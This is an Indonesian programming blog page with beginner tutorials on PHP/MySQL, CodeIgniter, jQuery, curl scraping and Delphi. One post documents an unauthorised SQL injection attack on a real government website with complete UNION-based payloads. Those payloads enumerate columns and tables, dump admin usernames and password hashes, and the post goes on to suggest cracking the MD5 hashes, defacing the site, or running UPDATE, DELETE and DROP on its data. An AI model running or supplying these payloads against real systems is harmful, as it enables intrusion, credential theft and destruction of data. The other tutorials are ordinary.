Kamis, 01 Januari 2015

Aplikasi Web

Aplikasi Kredit Motor dengan CodeIgniter

Aplikasi kredit motor yang di-develop adalah sebuah contoh aplikasi sederhana untuk pelajar , dimana CodeIgniter dijadikan framework untuk membangun aplikasi berbasis PHP dengan teknik OOP (Object Oriented Programming) dengan memperkenalkan konsep MVC (Model View Controller).
Pada tulisan kali ini tidak akan dibahasa secara keseluruhan dari aplikasi yang telah dibangun, namun akan dijadikan artikel berseri sehingga anda bisa memahami sedikit demi sedikit dari alur aplikasi yang dibangun.
Berikut adalah tampilan aplikasi kredit motor masih dalam keadaan standar belum banyak modifikasi dalam hal tampilan :
kredit_motor_1
Gunakan username : admin dan password 123, sehingga apabila berhasil login akan tampak seperti berikut :
kredit_motor_2
Sebagai bahan untuk dipelajari silahkan download scriptnya, semoga bermanfaat !

Menyimpan Value Form Checkbox ke MySQL Dalam Satu Field

checkbox_1
Perhatikan pada gambar diatas ! menurut anda seperti apakah tabel di mysql yang penulis buat untuk nyimpan pilihan hoby ??? ada dua kemungkinan jawaban yang akan anda ajukan, diantaranya :
kemungkinan pertama adalah tampak seperti pada gambar dibawah ini :
checkbox_2
JIka anda berfikir demikian maka jawaban anda salah ! terdapat kelemahan apabila bentuk tabel seperti itu, kelemahan utama adalah apabila jenis hoby nya bertambah maka anda sebagai programer harus merubah struktur tabel dan script aplikasi untuk mengakomodir perubahan karena ada penambahan hoby baru.
Kemungkinan jawab kedua dari struktur tabel adalah seperti pada gambar berikut :
checkbox_3
JIka jawaban anda seperti tabel diatas maka bisa dikatakan benar namun ada kelemahan yaitu terjadi redudansi bagi mahasiswa yang memiliki hoby lebih dari satu, dan yang pasti akan memuat banyak banyak, lalu seperti apakah bentuk tabel yang penulis buat untuk ditampilkan seperti pada gambar pertama ? berikut adalah bentuk tabel yang penulis buat :
checkbox_4
Dari tabel diatas setiap mahasiswa didata hoby nya dan disimpan dalam satu field dimana setiap hoby dipisahkan oleh tanda koma. Pertanyaan nya bagaiman proses penyimpanan ke dalam database nya ??
Untuk lebih jelasya silahkan download script yang penulis buat.

DOWNLOAD

Berikut penjelasan dari script yang telah anda download:
1. Membuat array untuk menampung jenis hoby
hoby_aray
2. membuat form untuk menampilkan kotak checkbox sesuai dengan banyaknya hoby yang disimpan di dalam array
hoby_cek_form
3. Membuat fungsi untuk memilih hoby yang dipilih oleh mahasiswa ketika dalam modus edit
hoby_fungsi_cek
4. Untuk menampilkan hoby didalam tabel sebelah kanan pada saat loop memecah kode hoby dan mencocokan dengan index array hoby :
loop_hoby
Posted in PHP & MySQL | Comments Off

Autocomplete dari MySQL Di Textbox dengan JqueryUI

Autocomplete merupakan salah satu fitur dari JqueryUI, fitur ini berguna untuk validasi dalam input data untuk memastikan apakah data yang akan diinput sudah ada atau belum, atau berguna juga untuk melakukan pencarian data.
Pada artikel kali ini akan dibahas cara membuat autocomplete dimana data yang tampil di textbox diambil dari tabel di database  mysql. Berikut langkah-langkahnya :
  1. Buat database
  2. import script tabel yang sudah disertakan dalam file yang bisa anda download diakhir tulisan ini.
  3. Buat koneksi ke database auto_com_1
  4. Buat fungsi ambil_nama()
    auto_com_2
  5. Buat fungsi di jquery untuk memasukan hasil dari fungsi ambil_nama kedalam array di jquery
    auto_com_3
  6. Buat html untuk menampilkan kotak textbox
    auto_com_4
  7. Jalankan dan lakukan percobaan dengan mengetikan sembarang huruf di kotak textbox
    auto_com_5
Untuk mempelajari fitur autocomplete ini silahkan download scriptnya.

DOWNLOAD


Posted in jquery | Comments Off

Membuat ID Card Maker dengan PHP & MySQL

Tahu kan ID Card ? yah semacam KTP atau SIM, anda masih ingat bagaimana ketika anda membuat SIM ? anda tidak diminta photo namun anda diphoto dan otomatis photo tercetak di SIM, begitu juga E-KTP, nah aplikasi yang akan dibuat mirip-mirip seperti itu, bedanya kalo di membuat SIM menggunakan aplikasi desktop sedangkan yang akan penulis buat berbasis web, namun tampilan kartunya masih sederhana, silahkan deh kembangkan sesuai kebutuhan.
Untuk membuat aplikasi ini dibutuhkan beberapa komponen yaitu :
  • jpegcam ; untuk meng-capture photo dan ditampilkan dbrowser untuk diproses lebih lanjut
  • FPDF ; untuk membuat ID card dalam format PDF
  • Jquery : untuk manipulasi form
Disini penulis tidak akan membahas baris perbaris program, berikut penulis tampilkan screenshoot proses penggunaanya
  1. Siapkan WebCam
  2. Siapkan Printer
  3. Install Adobe Flash Player
  4. Instal PDF Reader
  5. Akses http://localhost/idcard di browser anda (recomended IE / Chrome) dan jangan gunakan IDM karena kartu tidak akan tampil di browser tetapi didownload oleh IDM
  6. Allow penggunaan webcam di browser, klik kanan pada preview webcam pilih seting (lihat gambar)
    id_card_0
  7. Klik Ambil Photo
    id_card_2
  8. Isi Data yang dibutuhkan
  9. Klik Simpan
    id_card_3
  10. Apabila ID Card sudah tampil silahkan di print
  11. Untuk mengulangi klik tombol ambil photo dan ulangi proses pembuatan photo
  12. Pada aplikasi ini tidak disediakan fitur hapus, edit dan menampilkan data yang telah disimpan, silahkan improvisasi buat sendiri heheheh
  13. Untuk mempelajari aplikasi ini silahkan download sesukanya…gratis … cuma minta doa nya aja banyak rejeki dan sehat wal afiat … :)
DOWNLOAD
Posted in PHP & MySQL | Comments Off

Mengambil Isi Web Site Lain dengan Teknik Curl

Teknik curl ini sudah banyak dibahas dibeberapa blog, namun bagi pemula hal ini masih dianggap sulit, untuk itu penulis mencoba membahas kembali dengan se-detail mungkin. Kasus yang diambil adalah mengambil informasi harga kurs dari situs bank mandiri yang beralamat di :
http://www.bankmandiri.co.id/resource/kurs.asp
Adapun tampilan situs tersebut adalah seperti tampak pada gambar dibawah ini  :
kurs_mandiri
Nah pada kasus ini akan kita ambil sebagian dari halaman web tersebut yaitu hanya mengambil tabel kurs nya saja, dan akan di-embed ke web site / blog milik kita.
Untuk melakukannya tiga konsep dasar yang harus anda fahami selain html yaitu :
Ok kita mulai bahasan kita kali ini, baiknya anda buat file kosong, ketik script berikut :
curl_1
curl_2
curl_3
Sekarang silahkan anda jalankan dan hasilnya akan tampak seperti berikut :
curl_4
Selanjutnya anda tinggal sisipkan di web anda dengan perintah include di PHP atau menggunakan iframe di HTML. Sebagai latihan coba anda lakukan curl pada halaman bankmandiri tersebut namun anda ambil bagan kalkulator kurs nya saja
latihan_curl_2
latihan_curl_1
Sebagai bahan referensi, silahkan download script latihannya.

DOWNLOAD


Posted in Array, Curl, Explode, PHP & MySQL | Comments Off

Aplikasi SPP Untuk Sekolah dengan PHP dan MySQL

Setelah penulis memberikan contoh aplikasi persediaan dengan PHP dan MySQL, kembali penulis coba memberikan contoh aplikasi sederhana untuk pengelolaan SPP dan Keuangan Sekolah. Berikut screenshoot dari contoh aplikasi yang penulis buat :
sim_spp
Aplikasi ini bisa digunakan dengan asumsi :
  • Siswa hanya terdiri dari satu kelas dalam satu angkatan
  • Tarif SPP setiap tahun ajaran adalah sama
  • Transaksi yang dicatat hanya SPP dan Non SPP,
  • Tidak ada perpindahan kelas pararel
Untuk mengakses aplikasi ini gunakan user dan password standar sebagai berikut :
username : admin
password : 123
Untuk mempelajarinya silahkan download file yang sudah penulis siapkan untuk anda,

DOWNLOAD

Posted in PHP & MySQL | Comments Off

Membuat Aplikasi Ramalan Zodiak dengan PHP

Script sebenarnya telah lama dibuat yaitu sekitar bulan oktober tahun 2012, namun baru kali ini di posting. Ramalan dengan PHP ini hanya membuktikan bahwa ramalan itu tidak benar dan banyak bohongnya jadi kalau orang-orang programmer, mahasiswa Fakultas Komputer masih percaya ramalan zodiak dan shio masih diragukan keilmuannya, buktinya kita bisa memanipulasi ramalan :)
Langsung saja anda coba jalankan aplikasinya setelah anda download, akan tampak tampilan seperti beriikut :
ramal1
Dari aplikasi diatas pengguna cukup memasukan nama dan tanggal lahir kemudian klik tombol warna biru dan hasilnya akan tampak seprti dibawah ini :
ramal2
Penasaran bagaimana coding nya ??? silahkan download saja… lagi kurang mood ngebahas cofding nih :(

DOWNLOAD


Membuat Form Input Data Di Delphi

Melanjutkan artikel “Menghapus Data Melalui StringGrid di Delphi“, kali ini penulis akan melanjutkan progarm tersebut supaya lebih lengkap dengan menambahkan fitur input data, sebagaimana telah dibahas bahwa pada artikel tersebut baru bisa menampilkan data dan menghapus data, sedangkan untuk menginput data harus menginput manual dari MS Access.
Untuk menambahkan fitur input desain form utama akan yang semula tampak seperti berikut :

Akan ditambahkan tombol tambah. Adapun langkah-langkahnya adalah sebagai berikut  :
Tambahkan tombol tambah disebelah pinggir tombol hapus sehingga tampak seperti berikut :

Buat form baru dan atur layout tampak seperti berikut :

Definisikan prosedur baru dengan nama SimpanData

include unit form utama dalam hal ini unit u_string_grid di unit u_tambah :

Buat prosedur SimpanData, koneksi ke database memanfaatkan komponen ADOQuery yang terletak di unit f_barang (unit u_string_grid)

Double klik tombol Simpan, tambahkan baris kode berikut :

Double klik tombol Batal, tambahkan baris kode berikut :

Jalankan program dan lakukan input

Setelah menyimpan maka ketika kotak dalog tambah data ditutup maka otomatis form utama di refresh

Sebagai bahan latihan, seperti biasa silahkan download file source aplikasi yang sudah jadi, semoga bermanfaat 1

DOWNLAD

Posted in Delphi Stuff | Comments Off

‘Python’ the next web programming language

Seperti kita ketahui bahwa bahasa pemrograman yang digunakan untuk membangun apilkasi berbasis web bukan hanya PHP saja, dari java kita mengetahui ada bahasa pemrograman JSP, dari microsoft mengeluarkan ASP, selain itu ada lagi bahasa pemrograman  Ruby. Satu lagi dari sekian banyak bahasa pemrograman yang sedang mulai menunjukan taring-nya yaitu python, python termasuk bahasa tingkat-tinggi dan merupakan bahasa script sisi-server bagi website dan aplikasi mobile. Bisa jadi bahan pertimbangan bagi pemula yang ingin belajar pemrograman karena kemudahan dalam menulis sintaks dan mudah dalam membaca baris script program. Yang mana dengannya cukup sedikit baris kode yang ditulis sudah memenuhi konsep program yang ingin kita buat dibandingkan dengan bahasa lainnya.
Python bisa digunakan untuk teknik native programing ataupun berbasis framework, framework yang digunakan untuk pengembangan aplikasi berbasis python yang cukup powerfull adalah Django selayaknya CodeIgniter untuk PHP, dimana framework django tersebut digunakan oleh Google, Yahoo!, NASA, Instagram, Pinterest dan Rdio.
Namun dari sekian banyak kelebihan ada satu kekurangan ketika akan dihosting ke internet yaitu belum begitu banyak dukungan server untuk script python kecuali anda memesan virtual private server atau bahkan jika perlu memiliki server fisik sendiri untuk di install server dengan dukungan python.
Kelebihan python adalah script yang simple dan sifatnya yang modular sehingga mudah dikembangkan dengan menciptakan modul-modul baru, modul-modul tersebut dapat dibangun dengan bahasa Python maupun C/C++.
Bagi anda yang terbiasa dengan PHP akan merasa canggung dengan django untuk python untuk pertama kali karena django python datang dengan webserver-nya sendiri sehingga ketika diinstal anda tidak memerlukan webserver.
Untuk lebih jelasnya pada blog ini bahasan berikutnya akan mengulas tentang python for web programming baik untuk windows maupun linux, karena pada dasarnya sama yang membedakan adalah pada saat instalasi di sistem operasi yang berbeda karekteristik.
Posted in django python | Comments Off

Membuat Report Master Detail di PHP

Salah satu bentuk laporan yang sering dibuat adalah laporan master detail, dimana pada laporan tersebut memuat data utama dan level anaknya memuat detail nya. Untuk pelaporan menggunakan pemrograman desktop akan lebih mudah misal dengan menggunakan rave report, quikc report atau cristal report. Namun dengan PHP anda  harus bermain script agar output yang dihasilkan mendekati apa yang diinginkan. Sebagai gambaran berikut adalah contoh laporan master dan detail. master_detail_report_1 Perhatikan gamabr diatas terdapat Master yaitu jenjang dan setiap jenjang memiliki anak yaitu program studi, untuk membuat tampilan report seperti diatas, berikut adalah script nya : master_detail_report_2 Untuk jelasnya silahkan download contoh script diatas !
Posted in Master detail report, PHP & MySQL | Comments Off

Menghapus Data Melalui StringGrid di Delphi

Pada kesempatan kali ini penulis melanjutkan artikel tentang Mengisi StringGrid di Delphi, artikel lanjutan ini akan memodifikasi tampilan semula seperti tampak dibawah ini :

Penulis melakukan perubahan pada update contoh sebelumnya yaitu :
1. Pada saat event form onCreate langsung memangil procedure ambildata(), berbeda pada contoh pada gambar diatas procedure ambildata() dijalankan ketika mengklik tombol Tampilkan Barang
2. Penulis menambah tombol hapus, ketika salah satu baris diklik maka tombol hapus aktif dan ketika tombol hapus diklik maka akan keluar kotak konfirmasi penghapusan data
3. Penulis menambah Tombol About untuk menampilkan pembuat aplikasi
Keseluruhan contoh yang baru hasil update tampak seperti berikut :
hapus_via_sg_2
Sebagai bahan latihan silahkan download full scriptnya !

DOWNLOAD

Posted in Delphi Stuff, Kotak About, Kotak Dialog Konfirmasi di Delphi, StringGrid | Comments Off

Hack Salah Situs Pemerintah Domain or.id

Kali ini penulis mencoba mengecek salah satu web site pemerintah dengan domain or.id, setelah penuils mendapat informasi bahwa di situs tersebut terdapat link ke situs porno tetapi di-hidden, perhatikan potongan gambar ini setelah penulis menekan tombol CTRL+A tampak link yang dihiiden
hack_0
Kecurigaan berikutnya adalah penulis mencoba melakukan sql injection berbekal beberapa tutorial yang banyak tersebar di-internet, berikut adalah tahap-tahapan yang penulis lakukan
1. Mengacek apakah situs tersebut bisa diinject
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1'
hasilnya :
hack_0a
artinya : web site tersebut bisa di inject dengan SQL
2. Mencari banyaknya kolom
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1 order by 1--
lakukan berulang-ulang ganti 1– dengan menaikan satu -satu, misal
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1 order by 2--  dst..
Sampai menemukan error, dan penulis sampai pada angka 8 untuk menemukan error :
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1 order by 8--
hasilnya :
hack_0a
Ketika terjadi eror pada angka 8 maka jumlah kolom di dalam tabel t_pengumuman terdapat 7 kolom (8-1)
3. Mencari angka ‘ajaib’
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,5,6,7--
perhatikan angka 1 s.d 7 adalah jumlah kolom yang telah kita dapat pada langkah sebelumnya, dan hasilnya adalah seperti berikut :hack_0b
Nah pada angka yang ditunjukan diatas kita sisipkan (inject) perintah-perintah SQL
4. Mencari versi MySQL
untuk mencari versi mysql, ganti salah astu angka ‘ajaib’ tersebut dengan version()
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,version(),6,7--
Hasilnya : mysql versi 5.531-0 server ubuntu 12.04 , nah beruntung jika kita menemukan versi 5 karena bisa berlanjut ketahap berikut nya, jika tidak maka anda harus menebak-nebak nama-nama tabel di dalam database !
hack_3
5. Mencari nama tabel
untuk mencari nama tabel didalam database, ganti salah satu angka ‘ajaib’ dengan group_concat(table_name), dan diakhir syntax setelah angka 7 tambahkan +from+information_schema.tables+where+table_schema=database()–
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,group_concat(table_name),6,7+from+information_schema.tables+where+table_schema=database()--
Hasilnya : tada…… seluruh tabel tampil, sekarang yang akan kita jadikan target adalah tabel t_admin isinya pasti daftar user dan password :)
hack_4
6. Menampilkan nama-nama kolom dalam tabel (t_admin)
Untuk menampilkan nama kolom dalam t_admin ,maka tugas anda harus merupah nama tabel ke format HEX, maka t_admin jika dirubah ke hex akan manjadi : 745f61646d696e (caranya googling yah :) ) kemudian sisipkan ke url dengan menambahkan 0x didepannya sehingga menjadi 0x745f61646d696e, sehingga perintah untuk mencari nama kolom adalah :
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,group_concat(column_name),6,7+from+information_schema.columns+where+table_name=0x745f61646d696e--
Hasilnya :
hack_5
7. menampilkan isi tabel t_admin
berbekal nama tabel dan nama kolom di tabel t_admin saatnya kita menengok isi tabel, gunakan perintah berikut :
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,group_concat(username,0x3a,password),6,7+from+t_admin
syntax :
username,0x3a,password artinya menampilkan username dan password dipisah dengan tanda titik dua (titik dua dalam Hexadesimal adalah 0x3a), maka hasilnya
hack_6
Wewwwwww : ketemu username dan passwordnya namun password nya di encrypt tugas anda adalah men-decrypt nya dengan bantuan tools asal anda tahu metode encryptnya apa, kalau dilihat dari jumlah digit nya metode yang dipakai adalah md5  jadi silahkan decrypt  :),
8. Berikutnya apa ????
  • Anda bisa login namun silahkan cari halaman login adminnya
  • Anda bisa men-deface dengan menyisipkan gambar full halaman di t_informasi atau t_headline dengan bantuan css
  • atau anda bisa mengganti informasi dengan perintah UPDATE
  • atau anda bisa menghapus seluruh isi tabel dengan perintah DELETE
  • yang lebih keji adalah anda bisa menghapus seluruh tabel dengan perintah DROP
9. Pesan kepada sang developer : PERBAIKI SECEPATNYA DENGAN :
NOTE : Mohon maaf kepada pemilik situs bukan maksud mempublikasikan hole security web site nya namun sebagai pembelajaran saja untuk mengamankan web …
Posted in Did you know ? | Comments Off

Membuat Kotak Dialog Konfirmasi dengan Jquery UI

Kotak dialog memiliki banyak jenis dan manfaar, kotak dialog pada umumnya banyak digunakan di aplikasi desktop, jenis kotak dialog biasanya terdiri dari kotak dialog OK yang hanya memuat tombol OK, kotak dialog OK dan Cancel yang memuat dua tombol OK dan Cancel, atau Kotak Dialog OK, Retry dan Cancel yang memuat tiga tombol OK, Retry dan Cancel.
Sebelum ditemukanya jquery, untuk membuat kotak dialog di aplikasi berbasis web sangat tidak mungkin maka dari itu dibuat dengan menggunakan javascript, kelemahannya adalah bentuknya yang tidak begitu menarik, namun sejak ada jquery untuk membuat kotak dialog merupakan hal yang sangat mungkin dan lebih mudah. Nah pada contoh kali  ini akan dibuat kotak dialog konfirmasi proses hapus data, untuk jelasnya perhatikan gambar dibawah ini :
jquery-ui-confirm-dialog-1
Pada gambar diatas apabila kita meng-klik link hapus maka akan langsung terhapus tanpa ada konfirmasi apakah akan jadi dihapus atau membatalkannya apabila kita tidak menggunakan jquery, namun apabila kita modifikasi script dengan menambahkan jquery dalam hal ini jquery UI dialog maka ketika akan dihapus akan ditampilkan kotak dialog seperti berikut :
jquery-ui_dialog-confirm-2
Dari kotak dialog tersebut ketika anda klik tombol Confirm maka data akan dihapus dan apabila anda klik tombol cancel maka data tidak jadi dihapus. Dengan teknik ini maka ketidak sengajaan menghapus data bisa dihindari, adapun cara membuatnya adalah :
1. Download jquery UI
2. Load css dan cript jquery yang dibutuhkan
jquery-ui-confirm-dialog-4
3. buat script jquery seperti berikut :
jquery-ui-confirm-dialog-3
4. Buat link dengan tag href beri nama class confirm (sesuaikan dengan baris 30 pada gambar diatas), kemudian buat parameter pesan, jika dikosongkan maka akan menjalankan pesan default pada baris ke-19 pada gambar diatas, dan arahkan ke file yang dituju dalam contoh ini ke file hapus.php sehingga bentuk link nya akan seperti berikut :

Tidak ada komentar:

Posting Komentar